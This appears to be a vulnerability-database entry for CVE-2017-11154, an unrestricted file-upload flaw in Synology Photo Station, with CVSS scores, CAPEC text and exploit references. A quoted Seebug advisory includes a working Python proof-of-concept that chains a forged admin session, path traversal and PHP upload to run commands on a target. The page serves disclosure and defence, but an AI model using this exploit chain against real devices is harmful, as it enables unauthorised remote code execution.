Vulnerabilities > CVE-2017-11154 - Unrestricted Upload of File with Dangerous Type vulnerability in Synology Photo Station

047910
CVSS 6.5 - MEDIUM
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
SINGLE
Confidentiality impact
PARTIAL
Integrity impact
PARTIAL
Availability impact
PARTIAL
network
low complexity
synology
CWE-434
exploit available

Summary

Unrestricted file upload vulnerability in PixlrEditorHandler.php in Synology Photo Station before 6.7.3-3432 and 6.3-2967 allows remote attackers to create arbitrary PHP scripts via the type parameter.

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Accessing Functionality Not Properly Constrained by ACLs
    In applications, particularly web applications, access to functionality is mitigated by the authorization framework, whose job it is to map ACLs to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application or can run queries for data that he is otherwise not supposed to.
  • Privilege Abuse
    An adversary is able to exploit features of the target that should be reserved for privileged users or administrators but are exposed to use by lower or non-privileged accounts. Access to sensitive information and functionality must be controlled to ensure that only authorized users are able to access these resources. If access control mechanisms are absent or misconfigured, a user may be able to access resources that are intended only for higher level users. An adversary may be able to exploit this to utilize a less trusted account to gain information and perform activities reserved for more trusted accounts. This attack differs from privilege escalation and other privilege stealing attacks in that the adversary never actually escalates their privileges but instead is able to use a lesser degree of privilege to access resources that should be (but are not) reserved for higher privilege accounts. Likewise, the adversary does not exploit trust or subvert systems - all control functionality is working as configured but the configuration does not adequately protect sensitive resources at an appropriate level.

Exploit-Db

descriptionSynology Photo Station 6.7.3-3432 / 6.3-2967 - Remote Code Execution. CVE-2017-11151,CVE-2017-11152,CVE-2017-11153,CVE-2017-11154,CVE-2017-11155. Webapps exp...
fileexploits/hardware/webapps/42434.py
idEDB-ID:42434
last seen2017-08-09
modified2017-08-08
platformhardware
port
published2017-08-08
reporterExploit-DB
sourcehttps://www.exploit-db.com/download/42434/
titleSynology Photo Station 6.7.3-3432 / 6.3-2967 - Remote Code Execution
typewebapps

Packetstorm

data sourcehttps://packetstormsecurity.com/files/download/143745/sps6-exec.txt
idPACKETSTORM:143745
last seen2017-08-15
published2017-08-08
reporterKacper Szurek
sourcehttps://packetstormsecurity.com/files/143745/Synology-Photo-Station-6.7.3-3432-6.3-2967-Remote-Code-Execution.html
titleSynology Photo Station 6.7.3-3432 / 6.3-2967 Remote Code Execution

Seebug

  • bulletinFamilyexploit
    description### Vulnerability Summary The following advisory describes a Remote Code Execution found in Synology Photo Station versions 6.7.3-3432 and earlier / 6.3-2967 and earlier. Personal Photo Station is an online photo album with blog owned and managed by a DSM user. Synology NAS provides the home/photo folder for you to store photos and videos that you want to share. The system will create index thumbnails of the photos and videos automatically, and then people can view photo albums via a web browser. ### Credit An independent security researcher, Kacper Szurek, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program ### Vendor response The vendor has released patches to address this vulnerability. For more details: https://www.synology.com/zh-tw/support/security/Synology_SA_17_34_PhotoSation ### CVE’s: CVE-2017-11151 CVE-2017-11152 CVE-2017-11153 CVE-2017-11154 CVE-2017-11155 ### Vulnerability details The remote code execution is a combination of 4 different vulnerabilities: * Upload arbitrary files to the specified directories * Log in with a fake authentication mechanism * Log in to Photo Station with any identity * Execute arbitrary code by authenticated user with administrator privileges The chain of vulnerabilities will allow you, in the end, to execute code as: ``` uid=138862(PhotoStation) gid=138862(PhotoStation) groups=138862(PhotoStation) ``` The first step is to exploit the ability to upload arbitrary files – User controlled input is not sufficiently sanitized, when passed to /photo/include/synotheme_upload.php function. Successful exploitation of this vulnerability enables a remote unauthenticated user to upload arbitrary files. The file will be uploaded to `/var/packages/PhotoStation/etc/blog/` or `/var/services/photo/@eaDir/SYNOPHOTO_THEME_DIR/`. The second step is to use the user controlled file to create a valid session by using the the following file content: ``` root|a:2:{s:19:"security_identifier";s:'+str(len(ip))+':"'+ip+'";s:15:"admin_syno_user";s:7:"hlinak3";} ``` And send a request to general_setting.php with the parameter that include the file we uploaded as a session. The third step is to log with the new root user we created. Once we log-in we can upload a file with our malicious code and execute him by send a GET request Furthermore, the last vulnerability is the ability to identify Photo Station version. By default when you visit photo station url `http://IP/photo/#!Albums`, in the source code you can identify the Photo Station version: ``` <script src="js_php/prevent_iframe.js.php?v=6.7.1-3419"></script> ``` 6.7.1-3419 is version of Photo Station installed. ### Proof of Concept ``` import requests # What server you want to attack synology_ip = 'http://192.168.1.100' # Your current IP ip = '192.168.1.200' # PHP code you want to execute php_to_execute = '<?php echo system("id"); ?>' encoded_session = 'root|a:2:{s:19:"security_identifier";s:'+str(len(ip))+':"'+ip+'";s:15:"admin_syno_user";s:7:"hlinak3";}' print "[+] Set fake admin sesssion" file = [('file', ('foo.jpg', encoded_session))] r = requests.post('{}/photo/include/synotheme_upload.php'.format(synology_ip), data = {'action':'logo_upload'}, files=file) print r.text print "[+] Login as fake admin" # Depends on version it might be stored in different dirs payload = {'session': '/../../../../../var/packages/PhotoStation/etc/blog/photo_custom_preview_logo.png'} # payload = {'session': '/../../../../../var/services/photo/@eaDir/SYNOPHOTO_THEME_DIR/photo_custom_preview_logo.png'} try_login = requests.post('{}/photo/include/file_upload.php'.format(synology_ip), params=payload) whichact = {'action' : 'get_setting'} r = requests.post('{}/photo/admin/general_setting.php'.format(synology_ip), data=whichact, cookies=try_login.cookies) print r.text print "[+] Upload php file" c = {'action' : 'save', 'image' : 'data://text/plain;base64,'+php_to_execute.encode('base64'), 'path' : '/volume1/photo/../../../volume1/@appstore/PhotoStation/photo/facebook/exploit'.encode("base64"), 'type' : 'php'} r = requests.post('{}/photo/PixlrEditorHandler.php'.format(synology_ip), data=c, cookies=try_login.cookies) print r.text print "[+] Execute payload" f = requests.get('{}/photo/facebook/exploit.php'.format(synology_ip)) print f.text ```
    idSSV:96331
    last seen2017-11-19
    modified2017-08-08
    published2017-08-08
    reporterRoot
    sourcehttps://www.seebug.org/vuldb/ssvid-96331
    titleSynology Photo Station Unauthenticated Remote Code Execution
  • bulletinFamilyexploit
    descriptionDescription: The remote code execution is a combination of 4 different vulnerabilities: CVE-2017-11151 allows remote attackers to upload arbitrary files to the specified directories. CVE-2017-11152 allows remote attackers to log in with a fake authentication mechanism. CVE-2017-11153 allows remote attackers to log in to Photo Station with any identities. CVE-2017-11154 allows remote authenticated attackers with administrator privileges in Photo Station to execute arbitrary codes on the vulnerable NAS. CVE-2017-11155 allows remote attackers to identify whether Photo Station is vulnerable or not. The chain of vulnerabilities will allow you, in the end, to execute code as: `uid=138862(PhotoStation) gid=138862(PhotoStation) groups=138862(PhotoStation)`
    idSSV:96600
    last seen2017-11-19
    modified2017-09-29
    published2017-09-29
    reporterRoot
    sourcehttps://www.seebug.org/vuldb/ssvid-96600
    titleSynology Photo Station 6.7.3-3432 / 6.3-2967 - Remote Code Execution